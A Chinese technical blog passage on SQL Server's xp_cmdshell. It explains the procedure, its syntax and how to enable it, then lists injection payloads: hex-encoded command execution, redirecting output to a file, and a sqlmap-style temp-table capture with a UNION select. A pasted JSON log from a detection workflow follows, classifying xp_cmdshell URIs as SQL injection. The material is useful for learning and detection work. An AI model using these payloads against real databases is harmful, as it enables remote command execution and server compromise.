MSSQL-xp_cmdshell 的利用

本文详细介绍了SQL Server中的xp_cmdshell扩展存储过程,包括其用途、语法、如何启用及潜在的安全风险利用方式。

一.关于xp_cmdshell

xp_cmdshell是用于执行Windows命令的一个扩展存储过程。

xp_cmdshell 生成的 Windows 进程与 SQL Server 服务帐户具有相同的安全权限。

 自SQL Server 2000后,默认情况下,xp_cmdshell 选项在新安装的软件上处于禁用状态,但是可以运行 sp_configure 系统存储过程来启用它。

二.xp_cmdshell的语法

xp_cmdshell { 'command_string' } [ , no_output ]

'command_string' 包含要传递到操作系统的命令字符串。command_string 的数据类型为 varchar(8000) 或 nvarchar(4000),无默认值。command_string 不能包含一对以上的双引号。如果 command_string 中引用的文件路径或程序名中存在空格,则需要使用一对引号。

no_output可选参数,指定不应向客户端返回任何输出。

三.启用xp_cmdshell

-- To allow advanced options to be changed.
EXEC sp_configure 'show advanced options', 1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXEC sp_configure 'xp_cmdshell', 1
GO
-- To update the currently configured value for this feature.
RECONFIGURE
GO

四.xp_cmdshell的利用

1.将要执行的命令先进行十六进制转换然后保存到变量中,最后再执行。

declare @shellcode varchar(600);set @shellcode=0x48inputyourpayload;exec master..xp_cmdshell @shellcode

2.将命令执行结果输出到文件中

DECLARE @cmd sysname, @var sysname
SET @var = 'dir/p'
SET @cmd = @var + ' > dir_out.txt'
EXEC master..xp_cmdshell @cmd
3.将命令执行结果输出到临时表中

CREATE TABLE sqlmapoutput(id INT PRIMARY KEY IDENTITY, data NVARCHAR(4000))
DECLARE @ugye VARCHAR(8000);SET @ugye=0x77686f616d69;INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @ugye
union select null,null,data from sqlmapoutput where id = 1
DROP TABLE sqlmapoutput






{"runId":"01K78FW065W782PK8N9VJWSRKX","status":"success","nodes":{"cvpppc2g9j5n2n548cu0":{"input":"{\"ruleName\":\"URI中包含MSSQLxp_cmdshell存储过程命令的可疑访问\"}","output":"{\"ruleName\":\"URI中包含MSSQLxp_cmdshell存储过程命令的可疑访问\"}","status":"success","message":"","costMs":2,"costToken":0,"nodeType":"start"},"cvpppc2g9j5n2n548cug":{"input":"{\"output\":\"\\n\\nruleName: URI中包含MSSQLxp_cmdshell存储过程命令的可疑访问 cate: SQL注入 vender: Microsoft product: SQL Server\"}","output":"{\"content\":\"\\n\\nruleName: URI中包含MSSQLxp_cmdshell存储过程命令的可疑访问 cate: SQL注入 vender: Microsoft product: SQL Server\"}","status":"success","message":"","costMs":13,"costToken":0,"nodeType":"end"},"d0nffdociqnrbkrs6geg":{"input":"{\"sys_user_query\":\"URI中包含MSSQLxp_cmdshell存储过程命令的可疑访问\"}","output":"{\"output\":\"\\n\\nruleName: URI中包含MSSQLxp_cmdshell存储过程命令的可疑访问 cate: SQL注入 vender: Microsoft product: SQL Server\"}","status":"success","message":"","costMs":44133,"costToken":1898,"nodeType":"agent"},"d0nu05a698m0pfuflkb0":{"input":"{\"sys_user_query\":\"\\n\\nruleName: URI中包含MSSQLxp_cmdshell存储过程命令的可疑访问 cate: SQL注入 vender: Microsoft product: SQL Server\"}","output":"{\"output\":\"\\n\\nruleName: URI中包含MSSQLxp_cmdshell存储过程命令的可疑访问 cate: SQL注入 vender: Microsoft product: SQL Server\"}","status":"success","message":"","costMs":43941,"costToken":1803,"nodeType":"agent"},"d0nu088ciqnrbkrs6ha0":{"input":"{\"sys_user_query\":\"\\n\\nruleName: URI中包含MSSQLxp_cmdshell存储过程命令的可疑访问 cate: SQL注入 vender: Microsoft product: SQL Server\"}","output":"{\"output\":\"\\n\\nruleName: URI中包含MSSQLxp_cmdshell存储过程命令的可疑访问 cate: SQL注入 vender: Microsoft product: SQL Server\"}","status":"success","message":"","costMs":2721,"costToken":184,"nodeType":"agent"}},"steps":["cvpppc2g9j5n2n548cu0","d0nffdociqnrbkrs6geg","d0nu05a698m0pfuflkb0","d0nu088ciqnrbkrs6ha0","cvpppc2g9j5n2n548cug"],"costMs":90827,"output":"{\"content\":\"\\n\\nruleName: URI中包含MSSQLxp_cmdshell存储过程命令的可疑访问 cate: SQL注入 vender: Microsoft product: SQL Server\"}","costToken":3885} 这段代码属于什么安全事件类型
最新发布
10-22
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值